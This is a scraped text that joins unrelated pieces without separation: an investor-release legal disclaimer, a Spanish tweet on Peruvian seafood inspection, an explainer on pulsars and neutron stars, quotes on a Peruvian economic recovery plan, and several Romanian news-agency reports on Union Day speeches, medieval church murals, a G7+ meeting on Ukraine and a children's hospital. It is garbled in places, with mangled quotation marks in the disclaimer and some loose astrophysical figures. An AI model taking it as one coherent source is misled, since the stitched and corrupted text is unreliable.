Except for the statements of historical fact contained herein, the information presented in this news release constitutes aforward-looking statementsa as such term is used in applicable United States and Canadian securities laws. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any other statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as aexpectsa or adoes not expecta, ais expecteda, aanticipatesa or adoes not anticipatea, aplans, aestimatesa or aintendsa, or stating that certain actions, events or results amaya, acoulda, awoulda, amighta or awilla be taken, occur or be achieved) are not statements of historical fact and should be viewed as aforward-looking statementsa. Such forward looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors include, among others, the actual results of exploration activities, variations in the underlying assumptions associated with the estimation or realization of mineral resources, the availability of capital to fund programs and the resulting dilution caused by the raising of capital through the sale of shares, accidents, labor disputes and other risks of the mining industry including, without limitation, those associated with the environment, delays in obtaining governmental approvals, permits or financing or in the completion of development or construction activities, title disputes or claims limitations on insurance coverage. Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. Many of these factors are beyond the Companya?s ability to control or predict. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements contained in this news release and in any document referred to in this news release. Important factors that may cause actual results to differ materially and that could impact the Company and the statements contained in this news release can be found in the Company\-s filings with the Securities and Exchange Commission. For forward-looking statements in this news release, the Company claims the protection of the safe harbor for forward-looking statements contained in the Private Securities Litigation Reform Act of 1995. The Company assumes no obligation to update or supplement any forward-looking statements whether as a result of new information, future events or otherwise. This news release shall not constitute an offer to sell or the solicitation of an offer to buy securities.
???? Mediante la toma de muestras, analisis y ensayos, #Sanipes asegura la inocuidad de los productos hidrobiologicos terminados destinados al mercado nacional y/o de exportacion, como conservas de pescados, productos curados, congelados, harina y aceite de pescado, entre otros. ? pic.twitter.com/xfX4cbZnkb
Pulsars are rapidly rotating neutron stars that blast out pulses of radiation at regular intervals ranging from seconds to milliseconds.

Pulsars have strong magnetic fields that funnel particles along their magnetic poles accelerating them to relativistic speeds, which produces two powerful beams of light, one from each pole. According to the University of California (opens in new tab), because the poles of the magnetic field aren't aligned with the axis of spin of the pulsar, the beams of particles and the light they produce are swept around as the pulsar rotates.

The periodicity of pulsars is caused by these beams of light crossing the line of sight here on Earth , with the pulsar appearing to 'switch off' at points when the light is facing away from us. The time between these pulses is the 'period' of the pulsar.

Related: How many stars are in the universe?

Imagine this as a pair of open scissors spinning on one handle. One blade points upwards, this is the axis of rotation, while the other blade is the beam of light. While the axis of rotation has the same orientation, the direction of the beam turns with the neutron star's spin.

Thus, in effect, pulsars can be thought of as 'cosmic lighthouses.' Even though the lighthouse may be sending out beams of light all night but stricken sailors only see it when it is facing toward them. Because they spin so rapidly this takes the appearance of 'flickering.'

This also means that the name 'pulsar' may actually be misleading as these neutron stars don't actually pulse by periodically shrinking and swelling in size, as astronomers once thought. Their pulsing is merely a factor of their orientation in relation to our view of them, their light output is mostly consistent.

There are two types of pulsars, ones with periods of a few milliseconds with this periodicity changing very slowly over time, called millisecond pulsars, and other pulsars which are just called 'ordinary pulsars.'

How do pulsars form?

Like all neutron stars, pulsars are born when stars with masses between four and eight times that of the sun run out of fuel for nuclear fusion , says Penn State University (opens in new tab). When the fusion of lighter elements into heavier elements stops, the production of energy that supports the massive star against the inward pressure of its own tremendous gravity also ceases. The balance the star has enjoyed all of its life ends and it begins to collapse.

As the collapse proceeds the outer layers of the star are blown away in a supernova explosion with only the iron core of the massive star containing masses equivalent to that of the sun up to about 1.5 times that of our star remaining. This crushes down into a width no greater than around 12 to 17 miles (19 to 27 kilometers), around that of a city here on Earth, according to NASA Goddard. (opens in new tab)

This creates neutron star matter composed of 95% neutrons , because the collapse has forced electrons and protons together. According to NASA, (opens in new tab) the material that comprises neutron stars is so dense that a mere teaspoon of it would weigh 4 billion tons. This is equivalent to 10,000 Empire State Buildings stacked on a tiny spoon!

This superdense material is prevented from cramming further together as the mass of the stellar core cannot overcome the quantum properties of its neutrons. If the star was massive enough to overwhelm this effect the neutron star would continue to collapse until it transforms into a black hole.

A star with the mass of the sun will never become a neutron star, instead, our star will end its life having run out of hydrogen to fuse into helium as a smoldering stellar remnant called a white dwarf.

The process of core collapse may be what causes young neutron stars to spin rapidly as pulsars. Think of this as akin to an ice skater drawing in their arms. As they do so, the ice skater spins more rapidly. This is analogous to the rapidly shrinking diameter of a collapsing stellar core.

One theory as to why millisecond pulsars rotate even more rapidly is that they are born from massive stars in a binary system. After the neutron star creation process has concluded the newborn neutron star strips material from its close binary companion. This transfers angular momentum from the doner star to the 'feeding' neutron star which increases its rotation or 'spins it up.'

An artist's impression of a pulsar syphoning material away from a companion star, leading to the formation of a millisecond pulsar. (Image credit: Copyright NASA/CXC/M.Weiss)

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Are all neutron stars pulsars?

In short, all pulsars are neutron stars but, not all neutron stars are pulsars.

The majority of neutron stars we have discovered thus far are pulsars, but that's because they are far more obvious than neutron stars. With large beacons of radiation blasting out from magnetic poles, astronomers can observe these cosmic lighthouses far easier than small, dim, neutron stars.

However, some pulsars may not be observable from Earth, because their radiated beams of light don't ever orientate themselves toward us.

We can be fairly certain that pulsars are rapidly spinning neutron stars because young pulsars have been detected within the remnants of supernovas, exactly where neutron stars are expected to be found.

Other neutron stars that currently don't appear to be pulsars and look like non-rotating neutron stars, may have once been pulsars but the process that causes them to blast out beams of radiation may have 'turned off' or the emissions may be too weak to be observed. The average lifetime of a pulsar is around 10 million years and as they age their rotation slows.

So if not all neutron stars are pulsars how do some of these exotic remnants end up like powerful cosmic lighthouses?

Who discovered pulsars?

These images of the Crab Pulsar (opens in new tab) , taken by the Chandra X-ray Observatory over several months, show the bright white pulsar at the center, and jets of matter spewing away. , taken by the Chandra X-ray Observatory over several months, show the bright white pulsar at the center, and jets of matter spewing away. (Image credit: NASA/CXC/ASU/J.Hester et al.)

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Following the discovery of neutrons in 1932 by Engl (opens in new tab)ish physicist James Chadwick, the concept of a neutron star was first predicted in 1934 by Lev Landau (opens in new tab) in the Soviet Union and separately by Walter Baade and Fritz Zwicky (opens in new tab) in the U.S. during the same year.

Five years later in 1939, Robert Oppenheimer and George Volkoff would develop a theoretical model for neutron stars, but it would take a further three decades for the first neutron star, in the form of a pulsar to be discovered.

In 1967 radio astronomers in Cambridge were involved in the search for quasars and had developed an instrument capable of detecting rapid and random changes in the intensity of radio waves that saved such signals for later analysis.

Examining this data a then 24-year-old graduate student at New hall, conducting research at Cambridge's Cavendish Laboratory, Jocelyn Bell under the supervision of Antony Hewish, discovered mysterious highly regular signals very different from the random signals expected from quasars affected by solar winds.

The signals were so regular that when they were first discovered they were attributed to human activity. When it was deduced that these highly regular signals must originate from the universe , the suggestion was made that they could be the result of intelligent extraterrestrial life.

This led to the source of these pulses earning the tongue-in-cheek name 'LGM1' or 'Little Green Man 1.' Of course, Bell and Hewish went on to discover the actual source of the emission was a pulsar with a period of 1.3373 seconds. This pulsar now has the slightly less sensational name of PSR B1919+21.

The University of Cambridge says (opens in new tab) that as of today over 3,000 pulsars have been discovered and while these were initially found in radio waves, we have since discovered these cosmic lighthouses in X-ray, gamma-ray , and even visible light.

Pulsar extremes: How fast can pulsars rotate?

Like all neutron stars, pulsars have quite tightly constrained masses and sizes, most neutron stars have a mass of around 1.5 times that of the sun. One respect in which pulsars vary a lot is their rate of rotation. Some spin at a rate of hundreds of times per second, which NASA says (opens in new tab) is faster than the blades of a household blender.

In 2022 astronomers discovered the heaviest neutron sta r to date with a mass of 2.35 times that of the sun, which is also the fastest-rotating pulsar ever found in the Milky Way . The pulsar designated PSR J09520607 is also known as the Black Widow pulsar as it is believed to have reached record-breaking rotational speed and mass by consuming a companion binary star .

The Black Widow pulsar rotates at 707 Hertz (HZ), or 707 times per second. This is topped by the pulsar PSR J17482446ad which rotates at 716 HZ or 716 times per second.

In 1974, Russell Alan Hulse and Joseph Hooton Taylor Jr (opens in new tab)., of the University of Massachusetts Amherst discovered another extreme type of pulsar, one existing in a binary system with a neutron star.

Named a HulseTaylor binary, this type of pulsar system has become extremely important to astronomers looking to study the limits of Albert Einstein 's theory of general relativity and for the study of gravitational waves, tiny ripples in the very fabric of spacetime that propagate from the universe's most powerful and violent events and objects.

Related: Mysterious pulsar spins too slowly with 7 different pulse patterns

Uses of pulsars

A map of the sky showing gamma-ray pulsars detected with the LAT instrument on the Fermi Gamma Ray Telescope. Shown above are the gamma-ray pulsars detected with the LAT: CGRO PSRs (plus), young radio-selected (circle), young gamma-selected (square), and MSPs (diamond). (Image credit: Fermi-LAT/GSFC)

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Pulsars are fantastic cosmic tools for scientists to study a wide range of phenomena.

The light emitted by a pulsar carries information about these objects and what is happening inside them. That means pulsars give scientists information about the physics of neutron stars, which are the densest material in the universe (with the exception of whatever happens to matter inside a black hole). Under such incredible pressure, matter behaves in ways not seen before in any other environment in the universe. The strange state of matter inside neutron stars is what scientists call 'nuclear pasta': Sometimes, the atoms arrange themselves in flat sheets, like lasagna, or spirals like fusilli, or small nuggets like gnocchi.

Some pulsars also prove extremely useful because of the precision of their pulses. There are many known pulsars that blink with such precise regularity; they are considered the most accurate natural clocks in the universe. As a result, scientists can watch for changes in a pulsar's blinking that could indicate something happening in the space nearby.

It was with this method that scientists began to identify the presence of alien planets orbiting these dense objects. In fact, the first planet outside Earth's solar system ever found was orbiting a pulsar.

Because pulsars are moving through space while also blinking a regular number of times per second, scientists can use many pulsars to calculate cosmic distances. The changing position of the pulsar means the light it emits takes more or less time to reach Earth. Thanks to the exquisite timing of the pulses, scientists have made some of the most accurate distance measurements (opens in new tab) of cosmic objects.

Pulsars have been used to test aspects of Albert Einstein's theory of general relativity, such as the universal force of gravity.

The regular timing of pulsars also may be disrupted by gravitational waves  the ripples in space-time predicted by Einstein and directly detected for the first time in February 2016. There are multiple experiments currently searching for gravitational waves via this pulsar method.

Using pulsars for these types of applications depends on how settled they are in their rotation (thus providing very regular blinks), Scott Ransom (opens in new tab), a staff astronomer at the National Radio Astronomy Observatory (NRAO) in Charlottesville, Virginia said.

All pulsars are slowing down gradually as they spin; but those used for precision measurements are slowing down at an incredibly slow rate, so scientists can still use them as stable time-keeping devices.

Pulsar graveyards

A NASA illustration of a pulsar, a rapidly rotating neutron star, that periodically points bursts of radiation at Earth. (Image credit: NASA's Goddard Space Flight Center)

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All pulsars slow down gradually as they age. The radiation emitted by a pulsar is jointly powered by its magnetic field and its spin. As a result, a pulsar that slows down also loses power, and gradually stops emitting radiation (or at least, it stops emitting enough radiation for telescopes to detect), Harding said. Observations thus far suggest that pulsars drop below the detection threshold with gamma rays before radio waves. When pulsars reach this stage of life, they enter what's known as the pulsar graveyard. (Pulsars that have stopped emitting may be considered ordinary neutron stars by astronomers).

When a pulsar forms from the wreckage of a supernova, it spins fast and radiates a lot of energy, Ransom said. The well-studied Crab Pulsar is an example of such a young pulsar. This phase may last for a few hundred thousand years, after which the pulsar begins to slow down and only emit radio waves. These 'middle-age' pulsars likely make up most of the population of pulsars identified as emitting only radio waves, he added. These pulsars live for tens of millions of years before eventually slowing down so much that they 'die' and enter the pulsar graveyard.

But if the pulsar sits near a stellar companion, it may be 'recycled,' meaning it siphons material and energy from its neighbor, increasing its spin to hundreds of times per second  thus creating a millisecond pulsar, and giving the once-dead pulsar new life. This change can occur at any time in a pulsar's life, meaning a 'dying' pulsar's rotation rate can increase over hundreds to millions of years. The pulsar begins to emit X-rays, and the pair of objects is known as a 'low-mass X-ray binary,' Ransom said. (These cannibalistic pulsars have been called 'black widow' pulsars or 'redback' pulsars in reference to two species of spiders that are known to kill their companions). Millisecond pulsars are the oldest known pulsars  some are billions of years old and will continue to spin at those high rates for billions of years.

Additional resources

Pulsars aren't the only extreme example of neutron stars in the universe. Magnetars are a type of neutron star that are thought to have the most powerful magnetic fields in the universe. You can read more about them with these resources from NASA (opens in new tab). Learn more about pulsars with these learning assets from the online educational website study.com (opens in new tab).

Follow us on Twitter @Spacedotcom (opens in new tab), and on Facebook (opens in new tab).

Bibliography

Neutron stars, Imagine the Universe, NASA, [Accessed 01/14/23][ https://imagine.gsfc.nasa.gov/science/objects/neutron_stars1.html (opens in new tab).]

Pulsars, Encyclopedia Britannica, [Accessed 01/14/23], [ https://www.britannica.com/science/pulsar (opens in new tab)]

An Introduction to Pulsars, CSIRO, [Accessed 01/14/23], [ https://www.atnf.csiro.au/outreach/education/everyone/pulsars/index.html (opens in new tab)]

S. G. Ryan., A. J. Norton., Stellar Evolution and Nucleosynthesis, Cambridge University Press, [2010], IBSN-9780521133203

S.F. Green., M. H. Jones., An Introduction to the Sun and Stars, Cambridge University Press, [2010], IBSN-9781107492639

U. Kolb., Extreme Environment Astrophysics, Cambridge University Press, [2010], IBSN-9780521187855

NASA Continues to Study Pulsars, 50 Years After Their Chance Discovery, NASA TV, [2017], [ https://www.nasa.gov/feature/goddard/2017/nasa-continues-to-study-pulsars-50-years-after-their-chance-discovery (opens in new tab)]
"Knowing the risk situation, we decided to launch the Con Punche Peru Plan , which has three central axes: supporting family economies, reactivating regions, and reactivating the most affected sectors, mainly tourism and agriculture," Contreras specified.

"The good news is that if you review the economic plans which have been announced over the past 20 years, Con Punche Peru is the plan with the fastest execution," he added.

Family economy

The Cabinet member pointed out that, in the case of family economy reactivation, 100% of the corresponding measures have already been approved -worth an impact of S/1.2 billion (about US$310 million) that benefit more than 1.7 million Peruvian citizens.

"These are measures in execution because some (of them) are already receiving their grants. The budget for community kitchens and for the massive use of (natural) gas has already been released. Besides, in December, public officials received the extraordinary bonus," he said.

Regional reactivation

Regarding regional reactivation, the minister indicated that a lot of progress has been made because most measures have already been approved.

"When we talk about the Con Punche Peru Plan , we emphasized that it was a swift recovery plan, but some interpreted it as short-term measures, which is not true, because it has many medium- and long-term components that will have an impact and make the difference," Contreras highlighted.
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The Royal Family of Romania sent a message on Tuesday, on the Romanian Principalities Union Day, showing that twenty-two years after the act of 24 January 1859, in 1881, "our country became a kingdom."

"Today marks one hundred and sixty-four years since the Union of the Romanian Principalities under ruler Alexandru Ioan I. Seven years later, in 1866, the first Constitution of the state called 'Romania' was proclaimed; eighteen years after the Union of the Principalities, in 1877, Romania became an independent state, and twenty-two years later, in 1881, our country became a kingdom," the Royal House conveyed in a post on the Facebook page.

On 24 January, Romanians celebrate the Union of the Romanian Principalities of 1859, achieved under the leadership of ruler Alexandru Ioan Cuza, an act of political will by the leaders of the two Romanian principalities - Moldavia and Wallachia and the first stage in the creation of the modern Romanian unitary state. AGERPRES
700-year-old wall paintings were discovered in the reformed church in Vistea, central-northwestern Cluj County, as well as a wooden cross-beam from 1319, considered the oldest dated comble in Romania, told Agerpres.

"The reformed church in Vistea was built between the 13th and 15th centuries. An older circular construction was discovered under the current church. The murals in the nave and the triumphal arch of the church date from two distinct periods, but both were made between the 13th - 14th centuries. Until now, stripping and conservation operations have been carried out," restorer Kiss Lorand told AGERPRES.

Also, a wooden cross-beam was discovered, which is probably the oldest dated comble in Romania, 1319-1320.

"At the triumphal arch, the pictorial layer was in contact with the beam that supports the coffered ceiling, which indicates that the beam is prior to the painting. The dendrochronological analysis of the beam and the wooden material of the valve frame was carried out, from which it emerged that an important part of the wooden material of the nave was cut in the years 1319-1320. Thus, in the nave of the reformed church in Vistea, we are dealing with perhaps the oldest dated cross-beam in Romania," Kiss Lorand said.

Conservation and restoration was handled by Imago Picta SRL, represented by Solyom Jozsef Zsolt, Filep Melinda, Kiss Lorand, Olah Janka Melinda, the art history study - Dr. Weisz Attila, and the dendrochronological analyses - Anno Domini SRL (Toth Boglarka).
Foreign Affairs Minister Bogdan Aurescu participated on Tuesday in the G7+ format meeting at the level of ministers of foreign affairs, held in videoconference system, context in which he pleaded for the increase of the assistance given to Ukraine, especially in the context of the winter challenges, and showed that Romania will continue to substantially support this country, in cooperation with all partners who share the same visions and objectives, told Agerpres.

The G7+ meeting was co-chaired by the US Secretary of State Antony Blinken and Minister of Foreign Affairs of Japan Hayashi Yoshimasa, and took place in the presence of the Ukrainian Foreign Minister, Dmytro Kuleba. The meeting was focused on assessing the situation of Ukraine's critical energy infrastructure, which has suffered massive and repeated attacks from the Russian Federation, namely on the status and prospects of the support given to Ukraine by the international community in order to manage the consequences of these attacks and increase its resilience at social level.

According to the Foreign Affairs Ministry (MAE), in his intervention, the head of Romanian diplomacy, Bogdan Aurescu, appreciated the success of this format, launched in Bucharest in November 2022, on the sidelines of the meeting of NATO foreign affairs ministers, a format which proved its relevance especially by generating a constant exchange of information and coordinating the efforts of the international community aimed at ensuring Ukraine's energy needs.

Minister Aurescu underscored that the repeated, large-scale attacks on the civilian infrastructure of Ukraine represent a flagrant violation of international humanitarian law, with the objective of defeating the resilience of Ukrainian society, and the international democratic community cannot allow this.

The MAE mentions that, in respect to the assistance provided by Romania to strengthen Ukraine's energy security, minister Bogdan Aurescu underscored that the humanitarian hub in Suceava facilitated, among other things, the transit of 40 generators purchased by Romania with European funds, dozens of other generators offered by the Romanian Government and local authorities, and more than 160 generators offered by France.

In this context, minister Aurescu also mentioned the planning of a new Trilateral meeting of the foreign affairs ministers of Romania, Ukraine and the Republic of Moldova, in February, after the one in Odesa, on 15 September 2022, to which the energy ministers of the three states were also invited and within which common lines of action were agreed for the development of interconnectivity and the strengthening of Ukraine's and the Republic of Moldova's energy security, in the medium and long term.

The Romanian minister also highlighted the special situation of the Republic of Moldova, confronted with a deep energy crisis, generated by limitations regarding the availability and access to resources. He mentioned that Romania contributes directly to finding solutions for the most pressing problems, such as ensuring about 80pct of the total electricity consumption needs of the Republic of Moldova, as well as ensuring gas transmission to this state through the Iasi-Ungheni-Chisinau gas pipeline.

The Romanian minister pleaded for sustainable, more structured and permanent solutions to the current challenges facing Ukraine and the entire region, and showed that Romania will continue to substantially support Ukraine and its citizens, in cooperation with all partners who share the same visions and objectives.

The meeting was also attended by the foreign affairs ministers or other high representatives from the G7 states (in addition to the US and Japan, Canada, France, Germany, Italy, the UK), as well as from the Czech Republic, Estonia, Latvia, Lithuania, Poland, Slovakia, Bulgaria, together with representatives of the European Union, the European Energy Community, the European Bank for Reconstruction and Development (EBRD), the UNDP and the World Bank.

This was the second meeting in this format, the first being organized in Romania on 29 November 2022, on the sidelines of the meeting of NATO foreign affairs ministers hosted by the Minister of Foreign Affairs, Bogdan Aurescu. The meeting in Bucharest in November 2022 was the first G7 meeting hosted by Romania and the first in which Romania participated, through the Foreign Affairs minister.
Prime Minister Nicolae Ciuca promises to earmark funds to the "Sfanta Maria" Children's Hospital, after meeting with doctor Sidonia Susanu, the coordinator of the Department of Plastic, Reconstructive and Burn Surgery within the medical unit, who led a team in December that managed to reattach the arms of a girl after a road accident, told Agerpres.

The meeting took place on Tuesday, at the Metropolitan Palace, after the prime minister's participation in the events organised in the Union Square of Iasi on the occasion of the Romanian Principalities Union Day. The event was also attended by Speaker of the Chamber of Deputies Marcel Ciolacu.

Within the brief meeting, the prime minister promised that he will personally get involved so that the Government ensures funding and equipping the "Sfanta Maria" Children's Hospital with the necessary instruments and equipment.

"I was honored to shake her hand and congratulate Mrs doctor Sidonia Susanu, the coordinator of the Department of Plastic, Reconstructive and Burn Surgery within the "Sfanta Maria" Children's Hospital in Iasi. With knowledge and a lot of work, she saved destinies and gave a new chance to a normal life to many children and youngsters. I was impressed with the doctor's empathy and modesty, but also with her dedication and tenacity to increase the medical team and, later, to transform the department into a plastic surgery section and, thus, develop the activity. It's an example of the power which the professionals with grace have, trailblazers in their area," the prime minister conveyed on his Facebook page.

A team of doctors from the "Sfanta Maria" Children's Hospital in Iasi, coordinated by Dr. Sidonia Susanu, managed, after 20 hours spent in the operating room, to replant the arms of a 15-year-old girl, one of the victims who was in the bus with 35 artists that capsized in December, upon entering in Pascani.
The official copy of the Paris Convention, act signed on the occasion of the works of the Conference of the Guarantor Powers (10/22 May - 7/19 August 1858), regarding the organization of the Romanian Principalities, which established the future political, social and administrative status of the two Romanian countries, is exhibited for the first time, as of Tuesday, at the Union Hall in Alba Iulia, where is displayed until March 23, told Agerpres.

Purchased in the fall of last year by a private collector from Alba Iulia from an auction house for 31,000 EUR, the official copy of the Paris Convention granted to the Romanian Principalities by the Ottoman Empire is exhibited for the first time in Romania.

The document has a note of authenticity of the Turkish interim minister of foreign affairs, dated October 21, 1858, which certifies that this copy is "in accordance with the original of the Convention of August 19, 1858 deposited at the Imperial Archives of the Sublime Porte."

The official copy represents the most important piece of the exhibition called "24 January 1859. The Union of the Romanian Principalities," opened on Tuesday at the Union Hall in Alba Iulia, where one can also see a series of documents and not only belonging to ruler Alexandru Ioan Cuza and his wife, Elena Cuza.

In the exhibition at the Union Hall there are also a series of objects that come both from the collections of the museums in Piatra Neamt and Suceava, but also from the private collection of Robert Obreja.

Among them, there is a photo with the autograph of the ruler or various lithographs and chromolithographs which appeared in the period with the Cuza family.

The exhibition is open until 23 March.

The programme organized in Alba Iulia to mark the Romanian Principalities Union Day also included, on Tuesday, a solemn ceremony in front of the Union Hall, with the singing of the National Anthem, with the participation of the Alba County Marching Band, a Te Deum service officiated by Archbishop Irineu in memory of the Makers of the Union of 1859. At the end, those in attendance, as well as officials, passers-by, have joined hands in the Union Hora (traditional folk dance).
Prime Minister Nicolae Ciuca stated on Tuesday that the destiny of a country cannot be built through division, pointing out that, in the great historical moments the unity of will must prevail, told Agerpres.

"After multiple economic crises, after the years of pandemic and in the midst of the war started by Russia against the free world, we are at a crossroads. The entire world repositions itself according to values and interests. In such contexts we need vision, courage and above all determination in order to fulfill our national objectives. In order too succeed in our endeavor, we not only need the desire to make, but also the power to accomplish, and the power to fulfill our western destiny is based on balance, reason and social peace. One cannot build anything through hatred and unjustified criticism. One cannot build the destiny of a country through division. In the great historical moments, the unity of will must prevail, not the desire for division. Never in the modern history of Romania have we had stronger political and economic support from our Western partners," Ciuca said at the events organized in the Union Square of Focsani, on the occasion of the Romanian Principalities Union Day.

He underscored that the large projects started - the removal of the Cooperation and Verification mechanism (CVM), the accession to the Schengen area and the Organisation for Economic Co-operation and Development (OECD), as well as the great reform and investments projects with funding through the National Recovery and Resilience Plan (PNRR) and through the national budget expresses Romania's wish to rise to the level of the current historical context.

The prime minister also said that the well-being and security of the European Romanian nation, as well as the protection of the western democratic values in Romania represent the country project.

"This is the only great objective for which we must work constantly and tirelessly. We have a moral obligation both toward the Romanians and the great statesmen who, in their time, shaped the Romanian nation and the Romanian state. It is the reason why we pay tribute to our ancestors and acknowledge their deeds in the development of our country until today, and the greatest duty to them and to those who come after us is to make sure that their vision is strengthened through the development and modernization of our country that has found legitimate aspirations alongside Western democracies," the prime minister showed.

The Executive head said that the Principalities Union and the abolition of the border in Focsani created the premises of the unitary Romanian national state, which would later be completed with the Greater Union of 1 December 1918.

"From here, from Focsani, the unionist movement started as early as March 1857. Also in Focsani, in December 1858, Mihail Kogalniceanu was elected in the Elective Assembly of Moldavia - our great statesman who influenced the Union of the Principalities through his work, the declaration of Romania's state independence and the formation of the kingdom. (...) The union of the Romanian Principalities into a single state was not an accidental act, a favor of destiny, these deeds of the ancestors must be brought to mind and learned by all Romanians, they are examples of the political approaches of the forerunners and milestones of strengthening Romania's modernization. If we want to succeed as a nation, we must learn from the founding fathers of the Romanian nation how to behave as one united people, around common values and objectives. Everything that modern Romania built good, was forged when the people and the political, economic and cultural elites acted together to achieve a major national objective," Ciuca also said.

In his view, the Union of the Principalities was "a historical moment which opened the path of the emancipation and modernization of the Romanian state." The prime minister mentioned that without a common national goal, the Romanian nation cannot progress and cannot achieve the potential it deserves.

"Romania is going now through a unique historical moment, it is a moment when we have the chance to finalize the great project of modern Romania to strengthen a European Romanian nation within a Western democracy. We can only do this if the Romanian state is efficient and respected, and efficiency and respect are gained when all the state institutions guarantee and promote, to the highest degree, the freedom of the individual, human dignity and economic and social well-being," the prime minister also stated.

Also attending the events in Focsani are Speaker of the Deputies' Chamber Marcel Ciolacu, National Defence Minister Angel Tilvar and Defence Staff Chief General Daniel Petrescu.
Prime Minister Nicolae Ciuca stated on Tuesday that, at the events organized on the occasion of the Romanian Principalities Union Day, just as all European democracies, under the impact of the multiple crises generated by the war, in Romania too, extremist political movements try to influence society, underscoring that democratic societies have their own rejection mechanisms, told Agerpres.

"Today, we celebrate together the Romanian Principalities Union Day - the founding act through which the Romanian nation laid the foundations for the modernization and emancipation of the state and began the tireless work of unifying our people. The roots of European Romania can be found in the Union of the Principalities - a visionary act achieved through the unity of will around common values and objectives. The union of Moldavia with Wallachia would not have been possible without the courageous actions of the Pasoptisti [people belonging to the generation who participated in the Revolution of 1848], without the tireless work of the intellectual elite from the two principalities, without the uninterrupted efforts of Romanian diplomacy alongside the chancelleries of the great powers and, above all, without the support popular act of the Romanians. The act from 164 years ago was the work of will and courage of the entire people and its political elite. The historical lesson that remains over time is that through will, unity, courage and support of our citizens, we can achieve the most ambitious goals. Recent achievements confirm this. Romania's accession to NATO, obtaining the status of a member of the European Union are good examples" the prime minister stated.

The Executive head underscored that Romania stands before an important stage for the future.

The head of the Executive pointed out that the Government has made significant progress.

"Because we are in Iasi, I would like to refer to the Moldavia Highway - A7, an objective awaited by citizens for many years and which finally has certain prospects of completion. Financing is provided by the National Recovery and Resilience Plan [PNRR], most of the sections are already contracted, and the contractors have started the work. The manner in which we manage to advance this project in the short time we have put it back among the priorities is another example that together we can set things in motion, united by the desire for the better. A8 - The Unirii, Targu-Mures-Iasi-Ungheni highway will strengthen, through the European funding that Romania benefits from, Moldavia's development opportunities," Ciuca also stated.

He indicated that the same mobilization must be found in all actions aimed at increasing the quality of citizens' life, toward the development of communities and the country.

"In European Romania, all citizens must have equal opportunities, feel safe and have hope for a better and more prosperous future. The security guarantees provided by the North Atlantic Alliance and our Strategic Partnership with the United States of America, the European funds, including those that we can access through the PNRR, the level of investments from the state budget and, especially, the existence of a political action unit at internal and external level are the assets of our development," Ciuca added.

According to the prime minister, Romania's road to prosperity is "guarded by democratic values and freedoms, observing, in equal measure, the roots inherited from the forefathers."

"Just like all European democracies, under the impact of the multiple crises generated by the war, in Romania too, extremist political movements are trying to influence our society. We recognize them easily because the speeches advertised by their leaders promote hatred instead of good understanding, fear instead of action, misinformation instead of truth, condemnation instead of justice through law. However, democratic societies have their own rejection mechanisms based on deep roots and the lessons provided by history. In addition, in the case of Romania, balance and social wisdom, strong support for European and Euro-Atlantic values acts as a real catalyst around democratic freedoms. I thank you and I trust that together we will keep Romania where it has been for centuries, in the great family of European and Western democracies!," the prime minister concluded.

Speaker of the Chamber of Deputies Marcel Ciolacu also participated in the events held in Iasi. During the speeches delivered by both the prime minister and the Deputies' Chamber speaker shouts could be heard from the crowd gathered in the Union Square of Iasi.
President Klaus Iohannis stated on Tuesday that the successes of 1859, when the Union of the Romanian Principalities was achieved, represent a "genuine lesson of responsibility for all of us" and reiterated the call to use all the tools available to complete the reforms that Romania needs and to "eradicate the dysfunctionalities that have been lingering for a long time."

"Dear Romanians, 164 years ago, Romanians' aspirations to live in the same state and under one flag were one step closer to reality, through the Union of the two Principalities, Moldavia and Wallachia. The strong desire of the Romanians to unite, which manifested loud and clear within the Revolution of 1848, did not remain a simple ideal, but became a reality through the tireless effort and dedication of the elites of the time to find the right political solutions. (...) Dear Romanians, the vision, ambition and enthusiasm of the Pasoptisti [people belonging to the generation who participated in the Revolution of 1848] and Unionists represent a living example of dedication, patriotism and self-sacrifice for the development of the Romanian nation. The successes of 1859 represent a genuine lesson of responsibility for all of us, those who continue to build a European, modern and democratic Romania, regardless of where we are," the head of state stated at the ceremony organized on the occasion of the Romanian Principalities Union Day, at "the Tomb of the Unknown Soldier" in Carol I Park.

He brought to mind that, almost 160 years ago, Alexandru Ioan Cuza, acknowledging the importance of education, created the first modern law of education, which introduced mandatory and free education, regardless of social class or gender. The head of state underscored that, this year, the vision of the "Educated Romania" project will be put into practice through new laws, intended to "revive the education system and align it with the requirements of the present and those of the future." Moreover, he pointed out that Romania has significant European funds for development in the coming years, thus, he showed that there are no longer any justifications for major infrastructure projects to suffer delays.

"I'm reiterating the call to use all the instrument at our disposal in order to complete the reforms our country needs and in order to eradicate the dysfunctionalities that have been lingering for too long," Iohannis also said.

The head of state showed that the celebration of the Romanian Principalities Union takes place this year in a context marked by crisis situations which are rapidly unfolding.

"For almost one year, the war has returned on our continent, together with the invasion of Ukraine by the Russian Federation, with effects that we all feel. The numerous challenges we are confronted with at European level risk weakening the deep attachment to democratic values. These are extremely difficult times, which put our value system or faith in European principles to the test. We shall pass this genuine test with success if, just as the Union Hora [traditional folk dance] urges us, we know how to 'join hands', to value solidarity and unity! Romania has always proven that it is a strong state, especially when the political class, public institutions and citizens have acted together, putting the common good first. Now, perhaps more than ever, it is important to focus on things that bring us closer, guided by the spirit of national unity," the president stated.

He added that the celebration of the Romanian Principalities Union Day at "the Tomb of the Unknown Soldier" represents a reminder of the sacrifices our forefathers made for independence, unity and sovereignty.

"The history of our country was built through the commitment and sacrifices of entire generations, whom we owe our appreciation to, because they fought and faced risks and challenges with dignity and courage in extremely troubled times," the head of state also stated.

President Iohannis also underscored that the double election of Alexandru Ioan Cuza as ruler of Moldavia and Wallachia represented the cornerstone of the definition of the Romanian nation, oriented towards Western values, democracy, rights and civil freedoms.

A religious service was officiated in the opening of the ceremony. Within the event, the Battle Flags of the 30th "Mihai Viteazul" Guard Brigade and the 15th "Podu Inalt" Mechanized Brigade were decorated by president Iohannis with the "Military Virtue" Order in rank of Grand Officer with peace insignia for the military, namely with the "Military Virtue" Order, in rank of Officer with peace insignia for the military.

The head of state laid a wreath at "the Tomb of the Unknown Soldier."

